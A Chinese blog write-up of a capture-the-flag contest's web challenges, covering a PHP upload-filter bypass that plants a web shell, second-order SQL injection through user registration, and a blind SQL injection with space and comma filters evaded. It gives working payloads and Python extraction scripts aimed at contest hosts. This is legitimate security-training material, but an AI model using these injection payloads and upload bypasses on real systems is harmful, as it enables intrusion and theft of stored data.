[网鼎杯] 第二场web writeup

网鼎杯 第二场 web writeup

向信安之路的老哥要了一个账号,赛后开始做题

web

calc


可以这个计算机很厉害
既然说一定要写好正则,说明正则很重要
感觉是道沙箱逃逸题正好学习一下
可是怎么绕过正则
https://www.anquanke.com/post/id/85571
他没有最后的$,所以后面应该可以输入很多字符,截止


来了一个int和不能str相加,name把后面的换成int呢

答案直接出来了。还行=。=
试了一下发现直接那个不行的原因是因为我加了一个回车,如果不加回车就可以了


这样就可以了=。=

wafUpload

进图给源码真棒

<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

先上传再说



黑人问号我给你jpg居然不允许=。=我看看源码



看了一下代码所以他是先看filename,我刚刚在上传的时候把filename改成了test,所以上传失败了


reset函数

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。


直接命名为jpg也是可以上传的

判断了这个
file是不是数组,是为了区别有没有取名字吧 ![](http://pbolw7iuc.bkt.clouddn.com/15350280496059.jpg) 突然想到in_array是弱类型判断,如果最后没有加上strict参数,漏洞估计在这![](http://pbolw7iuc.bkt.clouddn.com/15350280955431.jpg) ![](http://pbolw7iuc.bkt.clouddn.com/15350286804344.jpg) 我觉得可以上传一个数组,filename[0]=xxx.php,filename[1]=000 然后构成一个xxx.php.00 利用apache的解析漏洞来实现shell试一试可是,上传上去的是个字符串无法实现。。 但是cout(\
file)-1和end是不一样的,如果filename[0]=xxx.php,filename[2]=000
那么filename[1]就为空了

ok,试一下

写进去了,掏出蚁剑
一直连不上才发现其实并没有写进去

再换个想法

命名为php.php/. 其实上传的还是php.php连上蚁剑,终于成功了。。


找到flag

unfinished

这个loli挺可爱


进去一看源码连个注册地方都没有,那么试一下register.php
果然在这

耶成功登录

???什么都没有,就只有一个adsl1234
找找有没有源码。。并没有
我猜测应该是二次注入,连给的信息都只有一个用户名,跟强网杯的应该差不对
从用户名下手

并没有成功,看样子不用16进制

逗号被过滤了


注进去了!
为什么是1呢。总不可能是盲注吧。既然注释符不能用就构造为真就好了

这样就可以了

解出来是web
那么继续

被过滤了,看样子不行,应该是空格不能存在吧
information_schema原来是这个被过滤了
必须要两次hex才可以把所有的数据拿出来一次不知道为啥不行=。=
脚本

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'

def register(email,username):
    url1 = url+'register.php' 
    data = dict(email = email, username = username,password = 'adsl1234')
    html = re.post(url1,data=data)
    html.encoding = 'utf-8'
    return html

def login(email):
    url2 = url+'login.php'
    data = dict(email = email,password = 'adsl1234')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'
    return html


f = ''
for j in range(0,17):
    payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
    email = '{}@qq.com'.format(str(j)+'14')
    html = register(email,payload)
    # print html.text
    html = login(email)
    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        flag = res[0][1:].strip()
        print flag
        f += flag
        print f
        print f.decode('hex').decode('hex')
    except:
        print "problem"

sqlweb

既然说admin也拿不到flag=。=那肯定是注入咯
噗感觉很简单是一个盲注题
密码错误也会显示出来

现在要看看过滤了啥


太良心了!良心题过滤了啥都有
单引号没过滤就没啥问题
不能有空格没问题,可以用括号
先本地测试一下

成功了一半 if 和mid并没有过滤
那么空格用括号来绕过
逗号用from for来绕过
等号可以用strcmp,在测试一下

在处理一下空格
''^(strcmp(mid((select(username)from(users)where(id=1))from(1)for(1)),'c')
ok了
脚本,也只能注入password啥都被过滤了

突然发现strcmp也是有逗号的,只能用in函数了

import requests
import string

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'

flag = ''
for i in range(1,100):
    for j in ch:
        payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
        data = dict(uname=payload,passwd='adsl1234',submit='login')
        # print data
        html = re.post(url, data=data)
        # print html.text
        if 'passwd' in html.text:
            flag += j
            print flag
            break

出来admin的密码是admin123
然后登录显示要吴彦祖的账号密码
把上面的admin换成wuyanzu就可以了


©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,860评论 0 9
  • 抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...
    ch3ckr阅读 13,262评论 0 6
  • 实验吧 writeup 打算把实验吧所有的web题做一遍花了一个礼拜多的时间吧有些也看了wp不得不说收获挺大 WE...
    ckj123阅读 3,459评论 2 13
  • 若酒儿阅读 179评论 0 0
  • 天上琉璃披黄土,化尽冰心尘家住。 哪晓陋石铁铲恨?散落时苦别亦苦。
    野的草阅读 247评论 0 0

友情链接更多精彩内容